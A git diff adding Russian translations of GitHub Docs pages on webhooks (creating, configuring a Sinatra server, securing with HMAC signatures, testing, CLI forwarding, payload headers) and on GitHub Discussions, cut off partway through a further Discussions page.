+ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145112387' +--- +Веб-перехватчики позволяют создавать или настраивать интеграции, такие как [{% data variables.product.prodname_github_apps %}](/apps/building-github-apps/) или [{% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/), которые подписываются на определенные события на сайте GitHub.com. Когда запускается одно из этих событий, мы отправляем полезные данные HTTP POST веб-перехватчику, используя настроенный URL-адрес. Веб-перехватчики можно использовать для обновления внешнего средства отслеживания проблем, активации сборок CI, обновления зеркала резервного копирования или даже развертывания на рабочем сервере. Вы ограничены только вашим воображением. + +Веб-перехватчики можно установить в {% ifversion ghes or ghae %} [{% data variables.product.prodname_enterprise %}](/rest/reference/enterprise-admin#global-webhooks/),{% endif %} [организации][org-hooks], в определенном [репозитории][repo-hooks] или в {% data variables.product.prodname_github_app %}. После установки веб-перехватчик будет отправляться каждый раз, когда возникнет одно или несколько событий подписки. + +Можно создать до {% ifversion ghes or ghae %}250{% else %}20{% endif %} веб-перехватчиков для каждого события в каждом экземпляре целевого объекта установки {% ifversion ghes or ghae %}({% data variables.product.prodname_ghe_server %}, для конкретной организации или конкретного репозитория).{% else %}(для конкретной организации или конкретного репозитория).{% endif %} + +## События + +{% data reusables.webhooks.webhooks_intro %} + +Каждое событие соответствует определенному набору действий, которые могут произойти в вашей организации и (или) репозитории. Например, если подписаться на событие `issues`, вы будете получать детализированные полезные данные при каждом открытии, закрытии, маркировке проблемы и т. д. + +Полный список доступных событий веб-перехватчика и их полезных данных см. в разделе [События и полезные данные веб-перехватчика](/developers/webhooks-and-events/webhook-events-and-payloads). + +## Событие проверки связи + +{% data reusables.webhooks.ping_short_desc %} + +Дополнительные сведения о полезных данных веб-перехватчика события `ping` см. в этом событии [`ping`](/webhooks/event-payloads/#ping). + +[org-hooks]: /rest/reference/orgs#webhooks/ +[repo-hooks]: /rest/reference/repos#webhooks diff --git a/translations/ru-RU/content/developers/webhooks-and-events/webhooks/configuring-your-server-to-receive-payloads.md b/translations/ru-RU/content/developers/webhooks-and-events/webhooks/configuring-your-server-to-receive-payloads.md new file mode 100644 index 000000000000..98ce11a8ca85 --- /dev/null +++ b/translations/ru-RU/content/developers/webhooks-and-events/webhooks/configuring-your-server-to-receive-payloads.md @@ -0,0 +1,66 @@ +--- +title: Настройка сервера для получения полезных данных +intro: 'Узнайте, как настроить сервер для управления входящими полезными данными веб-перехватчика.' +redirect_from: + - /webhooks/configuring + - /developers/webhooks-and-events/configuring-your-server-to-receive-payloads +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Webhooks +shortTitle: Configure server for webhooks +ms.openlocfilehash: c306cadf4dd8d9cd573d694419a51179c8995797 +ms.sourcegitcommit: 6b1c6174d0df40c90edfd7526496baabb1dd159d +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/04/2022 +ms.locfileid: '148132985' +--- +После подготовки веб-перехватчика к доставке сообщений мы настроим базовый сервер Sinatra для обработки входящих полезных данных. + +{% note %} + +**Примечание.** Полный исходный код для этого проекта можно скачать [из репозитория platform-samples][platform samples]. + +{% endnote %} + +## Написание сервера + +Мы хотим, чтобы сервер прослушивал запросы `POST` в `/payload`, поскольку именно это расположение мы указали в GitHub как URL-адрес нашего веб-перехватчика. Так как мы используем для `ngrok` предоставления доступа к локальной среде, нам не нужно настраивать реальный сервер где-то в Интернете, и мы можем с радостью протестировать наш код локально. + +Давайте настроим небольшое приложение Sinatra для выполнения каких-либо действий с информацией. Исходная настройка может выглядеть так: + +``` ruby +require 'sinatra' +require 'json' + +post '/payload' do + push = JSON.parse(request.body.read) + puts "I got some JSON: #{push.inspect}" +end +``` + +(Если вы не знакомы с тем, как работает Sinatra, рекомендуем [ознакомиться с руководством по Sinatra][Sinatra].) + +Запустите этот сервер. + +Поскольку мы настроили наш веб-перехватчик для прослушивания событий, которые работают с `Issues`, давайте создадим новую проблему в репозитории, который вы используете для тестирования. После его создания вернитесь в терминал. В выходных данных должны отобразиться примерно такие данные: + +```shell +$ ~/Developer/platform-samples/hooks/ruby/configuring-your-server $ ruby server.rb +> == Sinatra/1.4.4 has taken the stage on 4567 for development with backup from Thin +> >> Thin web server (v1.5.1 codename Straight Razor) +> >> Maximum connections set to 1024 +> >> Listening on localhost:4567, CTRL+C to stop +> I got some JSON: {"action"=>"opened", "issue"=>{"url"=>"... +``` + +Готово! Вы успешно настроили сервер для прослушивания веб-перехватчиков. Теперь сервер может обрабатывать эти сведения любым выбранным способом. Например, если вы настроили "реальное" веб-приложение, может потребоваться записать некоторые выходные данные JSON в базу данных. + +Дополнительные сведения об использовании веб-перехватчиков для удовольствия и выгоды см. в руководстве по [тестированию веб-перехватчиков](/webhooks/testing). + +[platform samples]: https://github.com/github/platform-samples/tree/master/hooks/ruby/configuring-your-server +[Sinatra]: http://www.sinatrarb.com/ diff --git a/translations/ru-RU/content/developers/webhooks-and-events/webhooks/creating-webhooks.md b/translations/ru-RU/content/developers/webhooks-and-events/webhooks/creating-webhooks.md new file mode 100644 index 000000000000..db196327e8b1 --- /dev/null +++ b/translations/ru-RU/content/developers/webhooks-and-events/webhooks/creating-webhooks.md @@ -0,0 +1,96 @@ +--- +title: Creating webhooks +intro: 'Learn to build a webhook, choosing the events your webhook will listen for on {% data variables.product.prodname_dotcom %} and how to set up a server to receive and manage the webhook payload.' +redirect_from: + - /webhooks/creating + - /developers/webhooks-and-events/creating-webhooks +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Webhooks +--- +Now that we understand [the basics of webhooks][webhooks-overview], let's go through the process of building out our own webhook-powered integration. In this tutorial, we'll create a repository webhook that will be responsible for listing out how popular our repository is, based on the number of issues it receives per day. + +Creating a webhook is a two-step process. You'll first need to set up what events you webhook should listen to. After that, you'll set up your server to receive and manage the payload. + + +{% data reusables.webhooks.webhooks-rest-api-links %} + +## Exposing localhost to the internet + +For the purposes of this tutorial, we're going to use a local server to receive webhook events from {% data variables.product.prodname_dotcom %}. + +First of all, we need to expose our local development environment to the internet so {% data variables.product.prodname_dotcom %} can deliver events. We'll use [`ngrok`](https://ngrok.com) to do this. + +{% ifversion cli-webhook-forwarding %} +{% note %} + +**Note:** Alternatively, you can use webhook forwarding to set up your local environment to receive webhooks. For more information, see "[Receiving webhooks with the GitHub CLI](/developers/webhooks-and-events/webhooks/receiving-webhooks-with-the-github-cli)." + +{% endnote %} +{% endif %} + +`ngrok` is available, free of charge, for all major operating systems. For more information, see [the `ngrok` download page](https://ngrok.com/download). + +After installing `ngrok`, you can expose your localhost by running `./ngrok http 4567` on the command line. `4567` is the port number on which our server will listen for messages. You should see a line that looks something like this: + +```shell +$ Forwarding http://7e9ea9dc.ngrok.io -> 127.0.0.1:4567 +``` + +Make a note of the `*.ngrok.io` URL. We'll use it to set up our webhook. + +## Setting up a webhook + +You can install webhooks on an organization or on a specific repository. + +To set up a webhook, go to the settings page of your repository or organization. From there, click **Webhooks**, then **Add webhook**. + +Alternatively, you can choose to build and manage a webhook [through the Webhooks API][webhook-api]. + +Webhooks require a few configuration options before you can make use of them. We'll go through each of these settings below. + +## Payload URL + +{% data reusables.webhooks.payload_url %} + +Since we're developing locally for our tutorial, we'll set it to the `*.ngrok.io` URL, followed by `/payload`. For example, `http://7e9ea9dc.ngrok.io/payload`. + +## Content type + +{% data reusables.webhooks.content_type %} For this tutorial, the default content type of `application/json` is fine. + +## Secret + +{% data reusables.webhooks.secret %} + +## SSL verification + +{% data reusables.webhooks.webhooks_ssl %} + +## Active + +By default, webhook deliveries are "Active." You can choose to disable the delivery of webhook payloads by deselecting "Active." + +## Events + +Events are at the core of webhooks. These webhooks fire whenever a certain action is taken on the repository, which your server's payload URL intercepts and acts upon. + +A full list of webhook events, and when they execute, can be found in [the webhooks API][hooks-api] reference. + +Since our webhook is dealing with issues in a repository, we'll click **Let me select individual events** and then **Issues**. Make sure you select **Active** to receive issue events for triggered webhooks. You can also select all events using the default option. + +When you're finished, click **Add webhook**. + +Now that you've created the webhook, it's time to set up our local server to test the webhook. Head on over to [Configuring Your Server](/webhooks/configuring/) to learn how to do that. + +### Wildcard event + +To configure a webhook for all events, use the wildcard (`*`) character to specify the webhook events. When you add the wildcard event, we'll replace any existing events you have configured with the wildcard event and send you payloads for all supported events. You'll also automatically get any new events we might add in the future. + +[webhooks-overview]: /webhooks/ +[webhook-api]: /rest/reference/repos#hooks +[hooks-api]: /webhooks/#events diff --git a/translations/ru-RU/content/developers/webhooks-and-events/webhooks/index.md b/translations/ru-RU/content/developers/webhooks-and-events/webhooks/index.md new file mode 100644 index 000000000000..2af7b0b28bce --- /dev/null +++ b/translations/ru-RU/content/developers/webhooks-and-events/webhooks/index.md @@ -0,0 +1,26 @@ +--- +title: Веб-перехватчики +intro: 'Узнайте, как настроить, протестировать и защитить веб-перехватчики для интеграции с {% data variables.product.prodname_dotcom %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Webhooks +children: + - /about-webhooks + - /creating-webhooks + - /configuring-your-server-to-receive-payloads + - /testing-webhooks + - /securing-your-webhooks + - /receiving-webhooks-with-the-github-cli + - /webhook-events-and-payloads +ms.openlocfilehash: a73820b100e94caa7c5eabe2f01a4814fe0df2a3 +ms.sourcegitcommit: 6b1c6174d0df40c90edfd7526496baabb1dd159d +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/04/2022 +ms.locfileid: '148132958' +--- + diff --git a/translations/ru-RU/content/developers/webhooks-and-events/webhooks/receiving-webhooks-with-the-github-cli.md b/translations/ru-RU/content/developers/webhooks-and-events/webhooks/receiving-webhooks-with-the-github-cli.md new file mode 100644 index 000000000000..17fe62f21c19 --- /dev/null +++ b/translations/ru-RU/content/developers/webhooks-and-events/webhooks/receiving-webhooks-with-the-github-cli.md @@ -0,0 +1,52 @@ +--- +title: Получение веб-перехватчиков с помощью GitHub CLI +intro: '{% data variables.product.prodname_cli %} можно использовать для тестирования веб-перехватчиков в среде разработки без сложной переадресации портов или сторонних средств.' +versions: + feature: cli-webhook-forwarding +topics: + - Webhooks +shortTitle: Receiving webhooks with the GitHub CLI +ms.openlocfilehash: 11bc5b476a191a61594cb73f1e6ce1be5bb6cf9b +ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/10/2022 +ms.locfileid: '148160667' +--- +## Сведения о получении веб-перехватчиков с помощью {% data variables.product.prodname_cli %} + +{% note %} + +**Примечание.** Получение веб-перехватчиков с {% data variables.product.prodname_cli %} в настоящее время находится в ограниченной общедоступной бета-версии и может быть изменено. Чтобы зарегистрироваться в бета-версии, ответьте на [обсуждение](https://github.com/orgs/community/discussions/38261) сообщества GitHub. Вы можете добавить не сразу. После добавления в бета-версию вы получите уведомление по электронной почте. + +{% endnote %} + +При внесении изменений в код интеграции выполнение кода в локальной среде позволяет быстро тестировать и выполнять итерацию без развертывания кода. {% data variables.product.prodname_cli %} можно использовать для пересылки веб-перехватчиков в локальную среду. + +{% note %} + +**Примечание:** Переадресация веб-перехватчиков в {% data variables.product.prodname_cli %} работает только с веб-перехватчиками репозитория и организации. Если вы хотите протестировать спонсорские веб-перехватчики, веб-перехватчики GitHub App, enterprise или Marketplace локально, это необходимо сделать вручную. Дополнительные сведения см. на странице [Создание веб-перехватчиков](/developers/webhooks-and-events/webhooks/creating-webhooks). + +{% endnote %} + +## Получение веб-перехватчиков с помощью {% data variables.product.prodname_cli %} + +{% data reusables.cli.cli-learn-more %} + +1. Чтобы установить расширение {% data variables.product.prodname_cli %} для включения переадресации веб-перехватчиков, используйте `extension install` подкоманду. + + ```sh + gh extension install cli/gh-webhook + ``` + + +1. Запустите приложение локально и запишите URL-адрес, по которому оно ожидает получать веб-перехватчики. В этом руководстве предполагается, что приложение прослушивает события веб-перехватчика в `http://localhost:3000/webhook`. + +1. Чтобы настроить веб-перехватчики для доставки в приложение, выполните `webhook forward` подкоманду. Замените `REPOSITORY` именем репозитория. Например, `monalisa/octocat`. Замените `EVENTS` разделенным запятыми списком событий, которые вы хотите получить. Например, `issues,pull_request`. Замените `URL` локальным URL-адресом, по которому приложение ожидает получать веб-перехватчики. Например, `"http://localhost:3000/webhook"`. Чтобы прослушивать веб-перехватчики организации, а не веб-перехватчики репозитория, замените `--repo` флаг флагом `--org` . Например, `--org="octo-org"`. + + + ```sh + gh webhook forward --repo=REPOSITORY --events=EVENTS --url=URL + ``` + + Оставьте команду запущенной в фоновом режиме. Он получит все указанные события для указанного репозитория и перенаправит их обработчику веб-перехватчика, работающему по указанному URL-адресу. diff --git a/translations/ru-RU/content/developers/webhooks-and-events/webhooks/securing-your-webhooks.md b/translations/ru-RU/content/developers/webhooks-and-events/webhooks/securing-your-webhooks.md new file mode 100644 index 000000000000..5ab782215815 --- /dev/null +++ b/translations/ru-RU/content/developers/webhooks-and-events/webhooks/securing-your-webhooks.md @@ -0,0 +1,96 @@ +--- +title: Защита веб-перехватчиков +intro: 'Убедитесь, что сервер получает только ожидаемые запросы {% data variables.product.prodname_dotcom %} по соображениям безопасности.' +redirect_from: + - /webhooks/securing + - /developers/webhooks-and-events/securing-your-webhooks +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Webhooks +ms.openlocfilehash: c58d4f301eadff8e20d626074b95fd8b888f65c4 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148008871' +--- +После настройки сервера для получения полезных данных он будет ожидать передачи всех полезных данных, отправляемых в настроенную конечную точку. Из соображений безопасности можно разрешить только запросы, поступающие из GitHub. Это можно сделать несколькими способами. Например, можно разрешить запросы с IP-адреса GitHub, но гораздо проще настроить секретный маркер и проверить сведения. + +{% data reusables.webhooks.webhooks-rest-api-links %} + +## Настройка секретного маркера + +Вам потребуется настроить секретный маркер в двух местах: в GitHub и на сервере. + +Чтобы задать маркер в GitHub, выполните следующие действия. + +1. Перейдите в репозиторий, в котором вы настраиваете веб-перехватчик. +2. Заполните текстовое поле "Секрет". Используйте произвольную строку с высокой энтропией (например, путем принятия выходных данных `ruby -rsecurerandom -e 'puts SecureRandom.hex(20)'` в терминале). +![Поле маркера секрета веб-перехватчика](/assets/images/webhook_secret_token.png) +3. Щелкните **Обновить веб-перехватчик**. + +Затем настройте переменную среды на сервере, в которой хранится этот маркер. Как правило, для этого достаточно просто выполнить: + +```shell +$ export SECRET_TOKEN=YOUR-TOKEN +``` + +**Никогда не** применяйте жесткое кодирование маркера в приложении! + +## Проверка полезных данных из GitHub + +При установке секретного маркера {% data variables.product.product_name %} будет использовать его для создания хэш-подписи для каждой полезной нагрузки. Эта хэш-подпись включается в заголовки каждого запроса как `x-hub-signature-256`. + +{% ifversion fpt or ghes or ghec %} {% note %} + +**Примечание.** Чтобы обеспечить обратную совместимость, мы также включаем заголовок `x-hub-signature`, созданный с помощью хэш-функции SHA-1. По возможности рекомендуется использовать заголовок `x-hub-signature-256` для повышения безопасности. В приведенном ниже примере показано использование заголовка `x-hub-signature-256`. + +{% endnote %} {% endif %} + +Например, если у вас есть базовый сервер, который прослушивает веб-перехватчики, его можно настроить следующим образом: + +``` ruby +require 'sinatra' +require 'json' + +post '/payload' do + request.body.rewind + push = JSON.parse(request.body.read) + "I got some JSON: #{push.inspect}" +end +``` + +Цель состоит в том, чтобы вычислить хэш с помощью вашего `SECRET_TOKEN` и убедиться, что результат соответствует хэшу из {% data variables.product.product_name %}. {% data variables.product.product_name %} использует хэш-код HMAC в шестнадцатеричном формате для вычисления хэша, что позволяет перенастроить сервер примерно следующим образом: + +``` ruby +post '/payload' do + request.body.rewind + payload_body = request.body.read + verify_signature(payload_body) + push = JSON.parse(payload_body) + "I got some JSON: #{push.inspect}" +end + +def verify_signature(payload_body) + signature = 'sha256=' + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha256'), ENV['SECRET_TOKEN'], payload_body) + return halt 500, "Signatures didn't match!" unless Rack::Utils.secure_compare(signature, request.env['HTTP_X_HUB_SIGNATURE_256']) +end +``` + +{% note %} + +**Примечание.** Полезные данные веб-перехватчика могут содержать символы Юникода. Если в реализации языка и сервера указана кодировка символов, убедитесь, что полезные данные обрабатываются как символы UTF-8. + +{% endnote %} + +Используемая вами реализации языка и сервера может отличаться от этого примера кода. Однако есть ряд важных моментов, которые следует учесть: + +* Независимо от используемой реализации хэш-подпись начинается с `sha256=`, используя ключ секретного маркера и текстовую область полезных данных. + +* Использовать обычный оператор `==` **не рекомендуется**. Такой метод, как [`secure_compare`][secure_compare], выполняет сравнение "постоянных во времени" строк, что позволяет снизить определенные атаки по времени на регулярные операторы равенства. + +[secure_compare]: https://rubydoc.info/github/rack/rack/main/Rack/Utils:secure_compare diff --git a/translations/ru-RU/content/developers/webhooks-and-events/webhooks/testing-webhooks.md b/translations/ru-RU/content/developers/webhooks-and-events/webhooks/testing-webhooks.md new file mode 100644 index 000000000000..aefd075cb4a5 --- /dev/null +++ b/translations/ru-RU/content/developers/webhooks-and-events/webhooks/testing-webhooks.md @@ -0,0 +1,47 @@ +--- +title: Тестирование веб-перехватчиков +intro: 'Проверьте результаты работы веб-перехватчика на сайте {% data variables.product.prodname_dotcom %}, включая HTTP-запрос и полезные данные, а также ответ.' +redirect_from: + - /webhooks/testing + - /developers/webhooks-and-events/testing-webhooks + - /articles/testing-webhooks +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Webhooks +ms.openlocfilehash: 5b9287030169ecac751b407ad915d4fa69bf8182 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145996220' +--- +После того как вы [настроили локальный сервер](/webhooks/configuring/), может потребоваться передать код в ограничения. Для этого представление веб-перехватчиков GitHub предоставляет ряд средств для тестирования развернутых полезных данных. + +## Перечисление последних доставок + +Каждый веб-перехватчик содержит свой собственный раздел "Последние доставки", в котором приведен краткий список успешных (зеленая галочка) или неуспешных (красный значок X) доставок. Вы также можете понять, когда была предпринята каждая попытка доставки. + +{% data variables.product.product_name %} ведет журнал всех доставок веб-перехватчиков в течение {% ifversion fpt or ghec %} 30 {% else %} 8 {% endif %} дней. + +![Представление "Последние доставки"](/assets/images/webhooks_recent_deliveries.png) + +## Подробное изучение результатов + +Развернув каждую отдельную доставку, вы сможете *в точности* понять, какие сведения GitHub пытается отправить на сервер. Сюда входят HTTP-запрос и ответ. + +### Запрос + +Представление доставки веб-перехватчика содержит сведения о том, какие заголовки отправил GitHub. +Здесь также содержатся сведения о полезных данных JSON. + +![Просмотр запроса касательно полезных данных](/assets/images/payload_request_tab.png) + +### Ответ + +На вкладке ответа показано, как сервер ответил после получения полезных данных от GitHub. Сюда входят код статуса, заголовки и все дополнительные данные в тексте ответа. + +![Просмотр ответа касательно полезных данных](/assets/images/payload_response_tab.png) diff --git a/translations/ru-RU/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md b/translations/ru-RU/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md new file mode 100644 index 000000000000..fdfc96b3885c --- /dev/null +++ b/translations/ru-RU/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md @@ -0,0 +1,100 @@ +--- +title: Webhook events and payloads +intro: 'Learn about when each webhook event occurs and what the payload contains.' +product: '{% data reusables.gated-features.enterprise_account_webhooks %}' +redirect_from: + - /early-access/integrations/webhooks + - /v3/activity/events/types + - /webhooks/event-payloads + - /developers/webhooks-and-events/webhook-events-and-payloads +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Webhooks +shortTitle: Webhook events & payloads +--- + +{% data reusables.webhooks.webhooks_intro %} + +You can create webhooks that subscribe to the events listed on this page. Each webhook event includes a description of the webhook properties and an example payload. For more information, see "[Creating webhooks](/webhooks/creating/)." + +## Webhook payload object common properties + +Each webhook event payload also contains properties unique to the event. You can find the unique properties in the individual event type sections. + +Key | Type | Description +----|------|------------- +`action` | `string` | Most webhook payloads contain an `action` property that contains the specific activity that triggered the event. +{% data reusables.webhooks.sender_desc %} This property is included in every webhook payload. +{% data reusables.webhooks.repo_desc %} Webhook payloads contain the `repository` property when the event occurs from activity in a repository. +{% data reusables.webhooks.org_desc %} +{% data reusables.webhooks.app_desc %} For more information, see "[Building {% data variables.product.prodname_github_app %}](/apps/building-github-apps/)." + +The unique properties for a webhook event are the same properties you'll find in the `payload` property when using the [Events API](/rest/reference/activity#events). One exception is the [`push` event](#push). The unique properties of the `push` event webhook payload and the `payload` property in the Events API differ. The webhook payload contains more detailed information. + +{% tip %} + +**Note:** Payloads are capped at 25 MB. If your event generates a larger payload, a webhook will not be fired. This may happen, for example, on a `create` event if many branches or tags are pushed at once. We suggest monitoring your payload size to ensure delivery. + +{% endtip %} + +### Delivery headers + +HTTP POST payloads that are delivered to your webhook's configured URL endpoint will contain several special headers: + +Header | Description +-------|-------------| +`X-GitHub-Event`| Name of the event that triggered the delivery. +`X-GitHub-Delivery`| A [GUID](http://en.wikipedia.org/wiki/Globally_unique_identifier) to identify the delivery.{% ifversion ghes or ghae %} +`X-GitHub-Enterprise-Version` | The version of the {% data variables.product.prodname_ghe_server %} instance that sent the HTTP POST payload. +`X-GitHub-Enterprise-Host` | The hostname of the {% data variables.product.prodname_ghe_server %} instance that sent the HTTP POST payload.{% endif %}{% ifversion not ghae %} +`X-Hub-Signature`| This header is sent if the webhook is configured with a [`secret`](/rest/reference/repos#create-hook-config-params). This is the HMAC hex digest of the request body, and is generated using the SHA-1 hash function and the `secret` as the HMAC `key`.{% ifversion fpt or ghes or ghec %} `X-Hub-Signature` is provided for compatibility with existing integrations, and we recommend that you use the more secure `X-Hub-Signature-256` instead.{% endif %}{% endif %} +`X-Hub-Signature-256`| This header is sent if the webhook is configured with a [`secret`](/rest/reference/repos#create-hook-config-params). This is the HMAC hex digest of the request body, and is generated using the SHA-256 hash function and the `secret` as the HMAC `key`. + +Also, the `User-Agent` for the requests will have the prefix `GitHub-Hookshot/`. + +### Example delivery + +```shell +> POST /payload HTTP/2 + +> Host: localhost:4567 +> X-GitHub-Delivery: 72d3162e-cc78-11e3-81ab-4c9367dc0958{% ifversion ghes or ghae %} +> X-GitHub-Enterprise-Version: 2.15.0 +> X-GitHub-Enterprise-Host: example.com{% endif %}{% ifversion not ghae %} +> X-Hub-Signature: sha1=7d38cdd689735b008b3c702edd92eea23791c5f6{% endif %} +> X-Hub-Signature-256: sha256=d57c68ca6f92289e6987922ff26938930f6e66a2d161ef06abdf1859230aa23c +> User-Agent: GitHub-Hookshot/044aadd +> Content-Type: application/json +> Content-Length: 6615 +> X-GitHub-Event: issues + +> { +> "action": "opened", +> "issue": { +> "url": "{% data variables.product.api_url_pre %}/repos/octocat/Hello-World/issues/1347", +> "number": 1347, +> ... +> }, +> "repository" : { +> "id": 1296269, +> "full_name": "octocat/Hello-World", +> "owner": { +> "login": "octocat", +> "id": 1, +> ... +> }, +> ... +> }, +> "sender": { +> "login": "octocat", +> "id": 1, +> ... +> } +> } +``` + +<!-- Content after this section is automatically generated --> diff --git a/translations/ru-RU/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md b/translations/ru-RU/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md new file mode 100644 index 000000000000..c816b96f2071 --- /dev/null +++ b/translations/ru-RU/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md @@ -0,0 +1,78 @@ +--- +title: Сведения об обсуждениях +intro: 'Используйте обсуждения, чтобы задавать вопросы и отвечать на них, обмениваться информацией, делать объявления, а также проводить обсуждения о проекте в {% data variables.product.product_name %}.' +versions: + feature: discussions +ms.openlocfilehash: 4ac74c35b34310b62595bd5ac9a5588a7ef3476a +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: '147886953' +--- +## Сведения о {% data variables.product.prodname_discussions %} + +С помощью {% data variables.product.prodname_discussions %} сообщество участников проекта может создавать беседы в репозитории проекта или организации и участвовать в них. Обсуждения позволяют координаторам проекта, участникам и посетителям собирать данные и достигать следующих целей в центральном расположении, не используя сторонние инструменты. + +- Предоставление общего доступа к объявлениям и информации, сбор обратной связи, планирование и принятие решений +- Постановка вопросов, обсуждение и ответ на вопросы, а также добавление для обсуждений метки "Отвечено" +- Создание опросов для оценки мнения сообщества +- Создание комфортной атмосферы для посетителей и участников для обсуждения целей, процессов разработки, администрирования и рабочих процессов + +![Вкладка "Обсуждения" для репозитория](/assets/images/help/discussions/hero.png) + +Вы можете использовать обсуждения репозитория для обсуждения тем, относящихся к репозиторию. Если проект охватывает несколько репозиториев, вы можете использовать обсуждения на уровне организации для обсуждения тем, которые не относятся к отдельному репозиторию. + +Вам не нужно закрывать обсуждение так же, как вы закрываете проблему или запрос на вытягивание. + +Если администратор репозитория или координатор проектов включает {% data variables.product.prodname_discussions %} для репозитория, все пользователи, которые имеют доступ к репозиторию, могут создавать обсуждения для репозитория и участвовать в них. Если владелец организации включает {% data variables.product.prodname_discussions %} для организации, любой пользователь с доступом на просмотр исходного репозитория может создать обсуждение на уровне организации. + +Администраторы репозитория и координаторы проектов могут управлять обсуждениями и категориями обсуждений в репозитории, а также закреплять обсуждения, чтобы повысить их видимость. Модераторы и участники совместной работы могут помечать комментарии как ответы, блокировать обсуждения и преобразовывать проблемы в обсуждения. Аналогичным образом, для обсуждений на уровне организации роль пользователя в исходном репозитории определяет то, как пользователь может взаимодействовать с обсуждениями на уровне организации. Дополнительные сведения см. в разделе [Роли репозитория для организации](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization). + +Дополнительные сведения об управлении обсуждениями см. в разделе [Управление обсуждениями](/discussions/managing-discussions-for-your-community/managing-discussions). + +## Сведения об опросах + +Вы можете создавать опросы в определенной категории, чтобы оценить интерес к новым идеям и направлению проекта. Любой пользователь с доступом на чтение к репозиторию может создавать опросы, голосовать в опросах и просматривать их результаты. {% ifversion fpt or ghec %} Пользователи, выполнившие выход из системы, могут просматривать результаты опросов в общедоступных репозиториях.{% endif %} + +Опрос должен включать вопрос и по крайней мере два варианта ответа. Всего можно добавить не более восьми вариантов ответа, длина каждого из которых может быть не более 128 символов. + +Участники не могут изменять свои ответы. Изменение опроса приведет к сбросу всех уже отданных голосов. + +Дополнительные сведения о создании опросов см. в разделе [Создание опроса](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion#creating-a-poll). + +## Сведения об упорядочении обсуждений + +Вы можете упорядочить обсуждения с помощью категорий и меток. + +{% data reusables.discussions.you-can-categorize-discussions %} {% data reusables.discussions.about-categories-and-formats %} {% data reusables.discussions.repository-category-limit %} + +Для обсуждений в формате вопросов и ответов можно помечать отдельные комментарии как ответ на обсуждение. {% data reusables.discussions.github-recognizes-members %} + +{% data reusables.discussions.about-announcement-format %} + +Дополнительные сведения см. в разделе [Управление категориями обсуждений](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions). + +{% data reusables.discussions.you-can-label-discussions %} + +## Рекомендации по {% data variables.product.prodname_discussions %} + +Участники или координаторы сообщества могут начать обсуждение, чтобы задать вопрос или обсудить информацию, которая влияет на сообщество. Дополнительные сведения см. в разделе [Совместная работа с координаторами посредством обсуждений](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions). + +Участвуйте в обсуждении, чтобы задавать вопросы и отвечать на них, предоставлять отзывы и взаимодействовать с сообществом проекта. Дополнительные сведения см. в разделе [Участие в обсуждении](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion). + +Вы можете выделить обсуждения, которые содержат важные, полезные или образцовые беседы между участниками сообщества. Дополнительные сведения см. в разделе [Управление обсуждениями](/discussions/managing-discussions-for-your-community/managing-discussions#pinning-a-discussion). + +{% data reusables.discussions.you-can-convert-an-issue %} Дополнительные сведения см. в разделе [Модерация обсуждений](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion). + +## Отправка отзывов + +Вы можете отправить свои комментарии {% data variables.product.prodname_discussions %}, используя {% data variables.product.company_short %}. Чтобы присоединиться к беседе, см. [обсуждения {% data variables.product.prodname_github_community %}](https://github.com/orgs/community/discussions/categories/discussions). + +## Дополнительные материалы + +- [Сведения о записи и форматировании в {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github) +- [Поиск обсуждений](/search-github/searching-on-github/searching-discussions) +- [Общие сведения об уведомлениях](/github/managing-subscriptions-and-notifications-on-github/about-notifications) +- "[Модерация комментариев и бесед](/communities/moderating-comments-and-conversations)"{% ifversion fpt or ghec %} +- "[Обеспечение безопасности в {% data variables.product.prodname_dotcom %}](/communities/maintaining-your-safety-on-github)"{% endif %} diff --git a/translations/ru-RU/content/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions.md b/translations/ru-RU/content/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions.md new file mode 100644 index 000000000000..00f75ff58899 --- /dev/null +++ b/translations/ru-RU/content/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions.md @@ -0,0 +1,89 @@ +--- +title: Collaborating with maintainers using discussions +shortTitle: Collaborating with maintainers +intro: 'You can contribute to the goals, plans, health, and community for a project on {% data variables.product.product_name %} by communicating with the maintainers of the project in a discussion.' +permissions: 'People with read access to a repository can start and participate in discussions and polls in the repository. People with read access to 